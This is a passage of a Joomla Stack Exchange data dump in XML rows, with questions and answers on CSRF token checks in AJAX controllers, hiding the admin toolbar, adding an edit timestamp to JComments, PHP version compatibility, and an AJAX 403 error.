}&#xA;      catch(Exception $e)&#xA;        {&#xA;          echo new JResponseJson($e);&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This I wanted to add to this subject. But without this relatively redundant function, simply any invalid token response should ignite redirect in the javascript, so checking session state is not really needed here. At least I at the moment do not see the reason for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ANOTHER IMPORTANT POINT REGARDING AJAX CALLS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of the above theory and reasons, the solution of this problem is only 1 ajax call, not two (due to the possible complications of javascript promises structure). As the problem was mentioned in the comments. Which means that the token check simply has to be put in your original controller function(resetData). So you do not have to use another function to check the token. We just go back to basics here. You original Joomla function should start with the token check of course and if it does not fail on invalid token then it could be completed. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function resetData()&#xA;{&#xA;    if (! JSession::checkToken())&#xA;    {&#xA;        echo new JResponseJson('invalid token');&#xA;        die('my messages';&#xA;    }&#xA;    elseif ( JSession::checkToken())&#xA;    {&#xA;&#xA;        // all of your resetData function steps&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or still more simple as it is given in all of this kind of Joomla functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function resetData()&#xA;{&#xA;    JSession::checkToken() or die('my messages');&#xA;    // then all of your resetData function steps...&#xA;    // what is giving back different responses&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So this would be a right start of any Joomla function which is called with ajax.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2018-11-20T16:52:45.863" LastActivityDate="2018-11-20T16:52:45.863" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="23796" PostTypeId="1" CreationDate="2018-11-19T16:47:10.337" Score="1" ViewCount="595" Body="&lt;p&gt;I upgraded my Joomla website and I am getting the folloing error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!class_exists('JToolbarHelper')) {&#xA;    require_once JPATH_ADMINISTRATOR . '/includes/toolbar.php';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/sitefolder/administrator/includes/helper.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Nothing happened and site broke completely.&lt;/p&gt;&#xA;" OwnerUserId="13081" LastEditorUserId="168" LastEditDate="2018-11-19T17:32:46.473" LastActivityDate="2018-11-19T23:05:20.333" Title="0 Class 'JToolbarHelper' not found" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23799" PostTypeId="1" AcceptedAnswerId="23800" CreationDate="2018-11-20T15:34:42.960" Score="0" ViewCount="33" Body="&lt;p&gt;I've create a component called &lt;code&gt;testComponent&lt;/code&gt; with a specific view called &lt;code&gt;collection&lt;/code&gt; which needs to have 2 layouts the &lt;code&gt;default.php&lt;/code&gt; and the &lt;code&gt;list.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to make both default and list as menu items and i don't want to use absolute path like &lt;code&gt;index.php?options=com_testComponent&amp;amp;view=collection&amp;amp;layout=list&lt;/code&gt; as the item input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already added default as a menu item, but I don't know how i should add lists beside it. I used &lt;code&gt;default.xml&lt;/code&gt; for it should i create &lt;code&gt;list.xml&lt;/code&gt; or i have to write something inside default for the sake of having both?&lt;/p&gt;&#xA;" OwnerUserId="12750" LastActivityDate="2018-11-20T15:53:51.943" Title="How to create 2 menus inside one component view" Tags="|custom-component|menu-item|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23800" PostTypeId="2" ParentId="23799" CreationDate="2018-11-20T15:53:51.943" Score="0" Body="&lt;p&gt;By adding list.xml i did added new menu item for list layout&lt;/p&gt;&#xA;" OwnerUserId="12750" LastActivityDate="2018-11-20T15:53:51.943" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23801" PostTypeId="2" ParentId="23792" CreationDate="2018-11-20T20:43:06.510" Score="2" Body="&lt;p&gt;well after the valuable help of @Zollie I will post the answer and working code to help others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A sample of the template file :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;form action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_contract&amp;amp;view=contracts'); ?&amp;gt;&quot; id=&quot;adminForm&quot; method=&quot;post&quot; name=&quot;adminForm&quot;&amp;gt;&#xA;      &amp;lt;?php if (!empty($this-&amp;gt;items)) { ?&amp;gt;&#xA;        &amp;lt;div class=&quot;contractList items&quot;&amp;gt;&#xA;          &amp;lt;?php foreach ($this-&amp;gt;items as $item) {?&amp;gt;&#xA;            &amp;lt;div class=&quot;contract item&quot;&amp;gt;&#xA;              &amp;lt;h3&amp;gt; &amp;lt;?php echo $item-&amp;gt;title; ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;              &amp;lt;p&amp;gt; &amp;lt;?php echo $item-&amp;gt;text; ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;              &amp;lt;div class=&quot;actions&quot;&amp;gt;&#xA;                &amp;lt;a class=&quot;action&quot; href=&quot;#&quot; data-action=&quot;unpublish&quot;&amp;gt;&amp;lt;?php echo JText::_('COM_CONTRACT_UNPUBLISH_ITEM');?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;a class=&quot;action&quot; href=&quot;#&quot; data-action=&quot;resetData&quot;&amp;gt;&amp;lt;?php echo JText::_('COM_CONTRACT_RESTET_ITEM');?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;input type=&quot;checkbox&quot; class=&quot;uk-checkbox&quot; name=&quot;cid[&amp;lt;?php echo $i; ?&amp;gt;]&quot; id=&quot;cb&amp;lt;?php echo $i; ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo $item-&amp;gt;id; ?&amp;gt;&quot; onclick=&quot;Joomla.isChecked(this.checked);&quot;&amp;gt;&#xA;              &amp;lt;/div&amp;gt;&#xA;           &amp;lt;/div&amp;gt;&#xA;          &amp;lt;?php } ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;? } ?&amp;gt;&#xA;      &amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;&quot;/&amp;gt;&#xA;      &amp;lt;?php echo '&amp;lt;input id=&quot;token&quot; type=&quot;hidden&quot; name=&quot;' . JSession::getFormToken() . '&quot; value=&quot;1&quot; /&amp;gt;'; // We need the token this way in order to get it to the javascript. ?&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The javascript&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;  function checkSession(caller) {&#xA;    var token = jQuery(&quot;#token&quot;).attr(&quot;name&quot;);&#xA;    $.ajax({&#xA;      method: 'POST',&#xA;      dataType: &quot;json&quot;,&#xA;      data: {[token]: &quot;1&quot;},&#xA;      url: 'index.php?option=com_contract&amp;amp;task=contracts.checkSession'&#xA;    }).done(function (r) {&#xA;      // Since we had a success call, means that the session is active so we can continue to call the actual task.&#xA;      var data = {};&#xA;      data.id = $(caller).closest(&quot;div.actions&quot;).find(&quot;input[type='checkbox']&quot;).val();&#xA;      data.action = $(caller).attr('data-action');&#xA;      ajaxSubmit('index.php?option=com_contract&amp;amp;task=contracts.' + data.action, token, data);&#xA;    }).fail(function (err) {&#xA;      // If there the call fails, means there is no active session.&#xA;      UIkit.modal.alert('&amp;lt;div class=&quot;alert alert-error&quot;&amp;gt;' + Joomla.JText._('SESSION_TIMEOUT') + '&amp;lt;/div&amp;gt;').then(function () {&#xA;        window.location.reload(); // reload to get to the login page.&#xA;      });&#xA;    });&#xA;  }&#xA;&#xA;  function ajaxSubmit(Url, token, data) {&#xA;    $.ajax({&#xA;      method: 'POST',&#xA;      dataType: &quot;json&quot;,&#xA;      data: {[token]: &quot;1&quot;, data},&#xA;      url: Url&#xA;    }).done(function (r) {&#xA;        window.location.reload();&#xA;      }&#xA;      if (r.message) {&#xA;        UIkit.modal.alert(r.message).then(function () {&#xA;          window.location.reload();&#xA;        });&#xA;      }&#xA;    }).fail(function (err) {&#xA;      UIkit.modal.alert('&amp;lt;div class=&quot;alert alert-error&quot;&amp;gt;' + err + '&amp;lt;/div&amp;gt;').then(function () {&#xA;        return;&#xA;      });&#xA;    });&#xA;  }&#xA;$(document).ready(function () {&#xA;  $('.action').on('click', function (e) {&#xA;    e.preventDefault();&#xA;    checkSession(this);&#xA;  });&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The controller's function.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;In the checkSession function I realized that it doesn't matter what you return since if the function is called means that the the session is still active.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  public function checkSession() {&#xA;    if (!JSession::checkToken()) {&#xA;      echo new JResponseJson('invalid token');&#xA;      JFactory::getApplication()-&amp;gt;close();&#xA;    }&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have done numerous test and always works.&lt;/p&gt;&#xA;" OwnerUserId="12709" LastActivityDate="2018-11-20T20:43:06.510" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23802" PostTypeId="1" AcceptedAnswerId="23805" CreationDate="2018-11-21T10:55:30.150" Score="1" ViewCount="467" Body="&lt;p&gt;Is it possible to hide the grey bar where buttons would normally go in an administrator view of a custom component? The grey bar shown below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IeoC1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IeoC1.png&quot; alt=&quot;Joomla admin bar example&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no buttons to show, so don't want it to take up space. I could use CSS I imagine, but wondered if there's another way.&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2018-11-21T11:33:23.910" Title="How to hide grey 'button bar' in administrator component view" Tags="|joomla-3.x|component|custom-component|view|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23803" PostTypeId="1" CreationDate="2018-11-21T11:20:30.457" Score="0" ViewCount="58" Body="&lt;p&gt;How to Show Currencies Based on IP Address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on IP address currency format change is the website?&lt;/p&gt;&#xA;" OwnerUserId="9492" LastActivityDate="2018-12-03T08:48:54.340" Title="How to Show Currencies Based on IP Address is the website" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23804" PostTypeId="2" ParentId="23802" CreationDate="2018-11-21T11:25:37.040" Score="1" Body="&lt;p&gt;Just looking into how that bar is generated.  It is part of the Isis administrator template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In line 58 of \administrator\templates\isis\index.php there is the code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cpanel   = $option === 'com_cpanel';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This checks to see if we are on the control panel page, and if so sets the variable $cpanel to true.  This variable is then used later (line 264) to see whether to display the subheader (the button bar)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (!$cpanel) : ?&amp;gt;&#xA;    &amp;lt;!-- Subheader --&amp;gt;&#xA;    &amp;lt;a class=&quot;btn btn-subhead&quot; data-toggle=&quot;collapse&quot; data-target=&quot;.subhead-collapse&quot;&amp;gt;&amp;lt;?php echo JText::_('TPL_ISIS_TOOLBAR'); ?&amp;gt;&#xA;        &amp;lt;span class=&quot;icon-wrench&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;div class=&quot;subhead-collapse collapse&quot; id=&quot;isisJsData&quot; data-tmpl-sticky=&quot;&amp;lt;?php echo $stickyBar; ?&amp;gt;&quot; data-tmpl-offset=&quot;&amp;lt;?php echo $offset; ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;subhead&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;container-fluid&quot;&amp;gt;&#xA;                &amp;lt;div id=&quot;container-collapse&quot; class=&quot;container-collapse&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;row-fluid&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;span12&quot;&amp;gt;&#xA;                        &amp;lt;!-- target for skip to content link --&amp;gt;&#xA;                        &amp;lt;a id=&quot;skiptarget&quot; class=&quot;element-invisible&quot;&amp;gt;&amp;lt;?php echo JText::_('TPL_ISIS_SKIP_TO_MAIN_CONTENT_HERE'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;toolbar&quot; style=&quot;no&quot; /&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, it shows on every page except the control panel and there appears to be no external parameter you can send to turn it off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whilst it would be possible to override line 58 to also set $cpanel to true if it matches your component's name, overriding core code isn't a great idea and cloning the template for a single non-vital change also seems a bad move.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think your CSS solution is going to be the best approach.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2018-11-21T11:25:37.040" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23805" PostTypeId="2" ParentId="23802" CreationDate="2018-11-21T11:28:01.067" Score="1" Body="&lt;p&gt;In your &lt;strong&gt;default admin template folder&lt;/strong&gt; (for example: yourjoomla/administrator/templates/isis/css) you can create a custom.css file in which you can define:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.subhead-collapse collapse {&#xA;    height: 0px;&#xA;    visibility: hidden;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then that grey field will disappear and it is done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or in ths &lt;strong&gt;same temlplate folder, you can find your index.php&lt;/strong&gt; file (you should make a template override of that file) then you could delete (or comment out) &lt;strong&gt;the subhead parts of that template&lt;/strong&gt; Subhead divs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;after this line of the index.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Subheader --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In isis admin template it is at the line 265.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it is important that in this divisions of the admin template you will find the component option button which is kind of important button of a component, at the right side of this grey field. Of course you can customize that too...&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2018-11-21T11:33:23.910" LastActivityDate="2018-11-21T11:33:23.910" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23807" PostTypeId="1" AcceptedAnswerId="23808" CreationDate="2018-11-21T14:38:20.460" Score="1" ViewCount="60" Body="&lt;p&gt;Was wondering if anyone knew how i might add a last edited stamp when someone edits their post in JComments. I've added an extra column to the end of the jcomments' table called &lt;strong&gt;editdate&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mostly not sure how to incorporate the query that will register the editdate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The references to the edit button on the toolbar are as follows. The first in &lt;strong&gt;components/com_jcomments/tpl/default/tpl_comment.php&lt;/strong&gt; inside the function to display the toolbar buttons:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;getVar('button-edit') == 1) {&#xA;                $text = JText::_('BUTTON_EDIT');&#xA;?&amp;gt;&#xA;    &amp;lt;a class=&quot;toolbar-button-edit&quot; href=&quot;#&quot; onclick=&quot;jcomments.editComment(&amp;lt;?php echo $comment-&amp;gt;id; ?&amp;gt;); return false;&quot; title=&quot;&amp;lt;?php echo $text; ?&amp;gt;&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;?php&#xA;            }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second in &lt;strong&gt;components/com_jcomments/js/jcomments-v2.3.js&lt;/strong&gt; that i'm assuming points to the next location.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;editComment: function(i){this.busyComment(i);var a=arguments;if(this.form==null){a=new Array(i,1);}return this.ajax('JCommentsEditComment', a);},&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the third the editcomment function in &lt;strong&gt;components/com_jcomments/jcomments.ajax.php&lt;/strong&gt;. The save function is under it, not sure which actually saves the edit.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function editComment($id, $loadForm = 0)&#xA;    {&#xA;        if (JCommentsSecurity::badRequest() == 1) {&#xA;            JCommentsSecurity::notAuth();&#xA;        }&#xA;&#xA;        $user = JFactory::getUser();&#xA;        $response = JCommentsFactory::getAjaxResponse();&#xA;        $comment = JTable::getInstance('Comment', 'JCommentsTable');&#xA;&#xA;        if ($comment-&amp;gt;load((int) $id)) {&#xA;            $acl = JCommentsFactory::getACL();&#xA;&#xA;            if ($acl-&amp;gt;isLocked($comment)) {&#xA;                $response-&amp;gt;addAlert(JText::_('ERROR_BEING_EDITTED'));&#xA;            } else if ($acl-&amp;gt;canEdit($comment)) {&#xA;                    $comment-&amp;gt;checkout($user-&amp;gt;id);&#xA;&#xA;                    $name = ($comment-&amp;gt;userid) ? '' : JCommentsText::jsEscape($comment-&amp;gt;name);&#xA;                    $email = ($comment-&amp;gt;userid) ? '' : JCommentsText::jsEscape($comment-&amp;gt;email);&#xA;                    $homepage = JCommentsText::jsEscape($comment-&amp;gt;homepage);&#xA;                    $text = JCommentsText::jsEscape(JCommentsText::br2nl($comment-&amp;gt;comment));&#xA;                    $title = JCommentsText::jsEscape(str_replace(&quot;\n&quot;, '', JCommentsText::br2nl($comment-&amp;gt;title)));&#xA;&#xA;                    if (intval($loadForm) == 1) {&#xA;                        $form = JComments::getCommentsForm($comment-&amp;gt;object_id, $comment-&amp;gt;object_group, true);&#xA;                        $response-&amp;gt;addAssign('comments-form-link', 'innerHTML', $form);&#xA;                    }&#xA;                    $response-&amp;gt;addScript(&quot;jcomments.showEdit(&quot; . $comment-&amp;gt;id . &quot;, '$name', '$email', '$homepage', '$title', '$text');&quot;);&#xA;                } else {&#xA;                    $response-&amp;gt;addAlert(JText::_('ERROR_CANT_EDIT'));&#xA;                }&#xA;        }&#xA;        return $response;&#xA;    }&#xA;&#xA;public static function saveComment($values = array())&#xA;    {&#xA;        if (JCommentsSecurity::badRequest() == 1) {&#xA;            JCommentsSecurity::notAuth();&#xA;        }&#xA;&#xA;        $config = JCommentsFactory::getConfig();&#xA;&#xA;        $response = JCommentsFactory::getAjaxResponse();&#xA;        $values = self::prepareValues($_POST);&#xA;        $comment = JTable::getInstance('Comment', 'JCommentsTable');&#xA;        $id = (int) $values['id'];&#xA;&#xA;        if ($comment-&amp;gt;load($id)) {&#xA;            $acl = JCommentsFactory::getACL();&#xA;&#xA;            if ($acl-&amp;gt;canEdit($comment)) {&#xA;                if ($values['comment'] == '') {&#xA;                    self::showErrorMessage(JText::_('ERROR_EMPTY_COMMENT'), 'comment');&#xA;                } else if (($config-&amp;gt;getInt('comment_maxlength') != 0)&#xA;                    &amp;amp;&amp;amp; ($acl-&amp;gt;check('enable_comment_length_check') == 1)&#xA;                    &amp;amp;&amp;amp; (JCommentsText::strlen($values['comment']) &amp;gt; $config-&amp;gt;getInt('comment_maxlength'))) {&#xA;                    self::showErrorMessage(JText::_('ERROR_YOUR_COMMENT_IS_TOO_LONG'), 'comment');&#xA;                } else if (($config-&amp;gt;getInt('comment_minlength') != 0)&#xA;                    &amp;amp;&amp;amp; ($acl-&amp;gt;check('enable_comment_length_check') == 1)&#xA;                    &amp;amp;&amp;amp; (JCommentsText::strlen($values['comment']) &amp;lt; $config-&amp;gt;getInt('comment_minlength'))) {&#xA;                    self::showErrorMessage(JText::_('ERROR_YOUR_COMMENT_IS_TOO_SHORT'), 'comment');&#xA;                } else {&#xA;                    $bbcode = JCommentsFactory::getBBCode();&#xA;&#xA;                    $comment-&amp;gt;comment = $values['comment'];&#xA;                    $comment-&amp;gt;comment = $bbcode-&amp;gt;filter($comment-&amp;gt;comment);&#xA;                    $comment-&amp;gt;published = $acl-&amp;gt;check('autopublish');&#xA;&#xA;&#xA;                    if (($config-&amp;gt;getInt('comment_title') != 0) &amp;amp;&amp;amp; isset($values['title'])) {&#xA;                        $comment-&amp;gt;title = stripslashes((string)$values['title']);&#xA;                    }&#xA;&#xA;                    if (($config-&amp;gt;getInt('author_homepage') == 1) &amp;amp;&amp;amp; isset($values['homepage'])) {&#xA;                        $comment-&amp;gt;homepage = JCommentsText::url($values['homepage']);&#xA;                    } else {&#xA;                        $comment-&amp;gt;homepage = '';&#xA;                    }&#xA;&#xA;                    $result = JCommentsEventHelper::trigger('onJCommentsCommentBeforeChange', array(&amp;amp;$comment));&#xA;&#xA;                    if (in_array(false, $result, true)) {&#xA;                        return $response;&#xA;                    }&#xA;&#xA;                    $comment-&amp;gt;store();&#xA;                    $comment-&amp;gt;checkin();&#xA;&#xA;                    JCommentsEventHelper::trigger('onJCommentsCommentAfterChange', array(&amp;amp;$comment));&#xA;&#xA;                    if ($config-&amp;gt;getInt('enable_notification') == 1) {&#xA;                        if ($config-&amp;gt;check('notification_type', 1) == true) {&#xA;                            JComments::sendNotification($comment, false);&#xA;                        }&#xA;                    }&#xA;                    $html = JCommentsText::jsEscape(JComments::getCommentItem($comment));&#xA;                    $response-&amp;gt;addScript(&quot;jcomments.updateComment(&quot; . $comment-&amp;gt;id . &quot;, '$html');&quot;);&#xA;                }&#xA;            } else {&#xA;                $response-&amp;gt;addAlert(JText::_('ERROR_CANT_EDIT'));&#xA;            }&#xA;        }&#xA;        return $response;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically just wanting it to add a current date to the editdate column on send. There may be other references to it, but i haven't found any. This is where the trail led, and i'm assuming a query needs inserted, just not sure where or how to insert the data into the database. Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="13028" LastEditorUserId="13028" LastEditDate="2018-11-21T18:29:24.557" LastActivityDate="2018-11-21T18:29:24.557" Title="How to add last edited stamp to JComments?" Tags="|extensions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23808" PostTypeId="2" ParentId="23807" CreationDate="2018-11-21T15:45:04.180" Score="1" Body="&lt;p&gt;Just a short answer of mine would be, if you created an extra column in the jcomments table, that column (if MySQL) should be a timestamp type column in the table. It would just automatically update the date-time at every change/edit/insert of the rows, thus you do not have to edit the php files for this purpose. You should just set the column that way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;editdate TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not the best mysql guru here but with something like this query line you can change the field type of the table column in your database.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE `mydb`.`jcomments` MODIFY COLUMN `editdate` TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If there is any mistake in the above query, someone (like '@mickmackusa' - who is really a db query guru here) probably will be so kind to fix it a bit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;reference:&lt;/strong&gt; &lt;a href=&quot;http://www.mysqltutorial.org/mysql-timestamp.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.mysqltutorial.org/mysql-timestamp.aspx&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2018-11-21T17:30:35.607" LastActivityDate="2018-11-21T17:30:35.607" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23810" PostTypeId="2" ParentId="22549" CreationDate="2018-11-21T20:22:05.790" Score="2" Body="&lt;p&gt;I had the same problem but after trying lot of things I found out that on my server &lt;strong&gt;php version was changed from 5.6 to newer 7.x&lt;/strong&gt; version, and my version of joomla requires version 5.x. After I changed it back to 5.6 everything started to work as it was earlier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So make sure that &lt;strong&gt;php version on server is supported by your version of joomla.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is confusing that in most cases you can open your webpage and login administrator page, but can't login just because php version is not supported!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you discover that this is problem, after you downgrade php version and joomla starts to work, then &lt;strong&gt;you should upgrade your joomla to newest version and then update php version on the server!&lt;/strong&gt; &#xA;Using updated php and joomla is very importat because you will get improved security and performance. (just to mention that old joomla sites can be easily hacked… and php 7.x is about 50% faster than 5.x…)&lt;/p&gt;&#xA;" OwnerUserId="13086" LastEditorUserId="13086" LastEditDate="2018-11-22T07:24:47.257" LastActivityDate="2018-11-22T07:24:47.257" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23812" PostTypeId="1" AcceptedAnswerId="23814" CreationDate="2018-11-21T23:07:12.517" Score="2" ViewCount="12087" Body="&lt;p&gt;Disclaimer: I'm pretty new to Joomla and web-development, so I probably am making a dumb beginner mistake. So far I've worked through much of the &lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/J3.x:Developing_an_MVC_Component&quot; rel=&quot;nofollow noreferrer&quot;&gt;MVC tutorial&lt;/a&gt; in the Joomla documentation, and I've read answers to the &lt;a href=&quot;https://joomla.stackexchange.com/questions/146/what-is-the-proper-way-to-make-an-ajax-call-in-component&quot;&gt;What is the proper way to make an AJAX call in component?&lt;/a&gt; question, but I'm still having trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am modifying an existing component (J2Store) so I'm not using com_ajax. I want a JavaScript script to be able to use a method in a subcontroller (com_j2store/controllers/products.php) to retrieve data. In my subcontroller class I have a dummy method for testing this out: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;site/components/com_j2store/controllers/products.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package J2Store&#xA; * @copyright Copyright (c)2014-17 Ramesh Elamathi / J2Store.org&#xA; * @license GNU GPL v3 or later&#xA; */&#xA;// No direct access to this file&#xA;use Joomla\Registry\Format\Json;&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;require_once(JPATH_ADMINISTRATOR.'/components/com_j2store/controllers/productbase.php');&#xA;class J2StoreControllerProducts extends J2StoreControllerProductsBase&#xA;{&#xA;...&#xA;&#xA;  // My method&#xA;  public function doSomething(){&#xA;    echo &quot;something&quot;;&#xA;  }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Based on what I've read I cobbled together the following AJAX call:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;site/templates/my_template/js/user.js&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// menu select options&#xA;&#xA;jQuery(document).ready(function() {&#xA;  ...&#xA;&#xA;  jQuery.ajax({&#xA;    url: &quot;index.php?option=com_j2store&amp;amp;format=raw&amp;amp;task=products.doSomething&quot;, &#xA;    type: &quot;GET&quot;,&#xA;    success: function(response){ &#xA;      alert(response); &#xA;    }&#xA;  });&#xA;&#xA;  ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(This is a project I inherited and the previous developer made the choice to create and put code in the user.js template file. I am putting my code in this file as well because I'm modifying what he did.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I expect to happen when I trigger the AJAX call is an alert window popping up and saying &quot;something&quot;. However when the AJAX call is triggered the console logs a 403 (Forbidden) error, and the line number it gives is indeed the line number of the AJAX call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of my inexperience and how many different aspects are involved in 